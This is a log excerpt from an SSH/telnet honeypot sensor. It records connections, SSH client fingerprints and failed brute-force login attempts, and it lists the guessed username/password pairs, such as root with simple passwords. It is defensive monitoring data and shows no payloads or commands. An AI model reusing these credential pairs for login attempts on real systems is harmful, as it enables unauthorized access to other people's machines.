{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:06.925335Z","src_ip":"159.65.58.200","session":"6d10fc2006bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sevcenc","password":"123456","message":"login attempt [sevcenc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:07.924137Z","src_ip":"159.65.58.200","session":"6d10fc2006bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:09.216303Z","src_ip":"159.65.58.200","session":"6d10fc2006bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5ad41056b5","protocol":"ssh","message":"New connection: 8.210.75.243:48194 (10.17.0.5:22) [session: 9e5ad41056b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:09.222873Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:21.993728Z","src_ip":"8.210.75.243","session":"f7105383b2ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"3067eed29b05","protocol":"ssh","message":"New connection: 8.210.75.243:60304 (10.17.0.5:22) [session: 3067eed29b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:37.197903Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecda332b0fa2","protocol":"telnet","message":"New connection: 170.64.224.25:50940 (159.203.135.109:23) [session: ecda332b0fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:46.524607Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":51554,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc31bcf1c91","protocol":"ssh","message":"New connection: 119.203.251.187:51554 (10.17.0.5:22) [session: ecc31bcf1c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:51.616669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:51.622363Z","src_ip":"119.203.251.187","session":"ecc31bcf1c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:51.824213Z","src_ip":"119.203.251.187","session":"ecc31bcf1c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paul","message":"login attempt [root/paul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:52.666362Z","src_ip":"119.203.251.187","session":"ecc31bcf1c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:53.870881Z","src_ip":"119.203.251.187","session":"ecc31bcf1c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:10:55.133034Z","src_ip":"8.210.75.243","session":"ebd5ac7a58ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:06.599145Z","src_ip":"8.210.75.243","session":"db0d394caefd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":32996,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a284344dd1","protocol":"ssh","message":"New connection: 201.222.20.20:32996 (10.17.0.5:22) [session: 05a284344dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:11.735886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:11.739524Z","src_ip":"201.222.20.20","session":"05a284344dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:11.853492Z","src_ip":"201.222.20.20","session":"05a284344dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testadmin","password":"123456","message":"login attempt [testadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:12.346085Z","src_ip":"201.222.20.20","session":"05a284344dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:13.463039Z","src_ip":"201.222.20.20","session":"05a284344dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":37662,"dst_ip":"10.17.0.5","dst_port":22,"session":"233939a7128a","protocol":"ssh","message":"New connection: 165.227.170.113:37662 (10.17.0.5:22) [session: 233939a7128a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:16.628520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:16.632131Z","src_ip":"165.227.170.113","session":"233939a7128a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:16.722178Z","src_ip":"165.227.170.113","session":"233939a7128a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testadmin","password":"123456","message":"login attempt [testadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:17.092314Z","src_ip":"165.227.170.113","session":"233939a7128a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:18.177744Z","src_ip":"165.227.170.113","session":"233939a7128a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.352203607559204,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:26.876581Z","src_ip":"170.64.224.25","session":"ecda332b0fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":43922,"dst_ip":"10.17.0.5","dst_port":23,"session":"27edf889f9b6","protocol":"telnet","message":"New connection: 107.150.146.69:43922 (10.17.0.5:23) [session: 27edf889f9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:28.008117Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":60024,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d39eb1c5b18","protocol":"ssh","message":"New connection: 154.16.115.34:60024 (10.17.0.5:22) [session: 6d39eb1c5b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:34.413548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:34.417511Z","src_ip":"154.16.115.34","session":"6d39eb1c5b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:34.442708Z","src_ip":"154.16.115.34","session":"6d39eb1c5b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rndr123","password":"rndr123","message":"login attempt [rndr123/rndr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:34.519633Z","src_ip":"154.16.115.34","session":"6d39eb1c5b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:35.547817Z","src_ip":"154.16.115.34","session":"6d39eb1c5b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:40.803776Z","src_ip":"8.210.75.243","session":"b1ea5865d254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":56638,"dst_ip":"10.17.0.5","dst_port":22,"session":"59700191f5d6","protocol":"ssh","message":"New connection: 173.236.247.120:56638 (10.17.0.5:22) [session: 59700191f5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:55.384035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:55.388074Z","src_ip":"173.236.247.120","session":"59700191f5d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:55.399596Z","src_ip":"173.236.247.120","session":"59700191f5d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bnb","password":"bnb999","message":"login attempt [bnb/bnb999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:55.428632Z","src_ip":"173.236.247.120","session":"59700191f5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:11:56.440352Z","src_ip":"173.236.247.120","session":"59700191f5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.20476937294006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:05.212762Z","src_ip":"107.150.146.69","session":"27edf889f9b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:09.230613Z","src_ip":"8.210.75.243","session":"9e5ad41056b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44194,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2f5ca71d345","protocol":"ssh","message":"New connection: 8.210.75.243:44194 (10.17.0.5:22) [session: c2f5ca71d345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:12.014818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:14.880790Z","src_ip":"8.210.75.243","session":"c2f5ca71d345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:14.883740Z","src_ip":"8.210.75.243","session":"c2f5ca71d345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":43432,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d43e9ef3f1e","protocol":"ssh","message":"New connection: 14.29.214.161:43432 (10.17.0.5:22) [session: 0d43e9ef3f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:14.986742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:14.990376Z","src_ip":"14.29.214.161","session":"0d43e9ef3f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:15.223010Z","src_ip":"14.29.214.161","session":"0d43e9ef3f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cs@123456","message":"login attempt [root/cs@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:12:17.509814Z","src_ip":"14.29.214.161","session":"0d43e9ef3f1e","protocol":"ssh"}
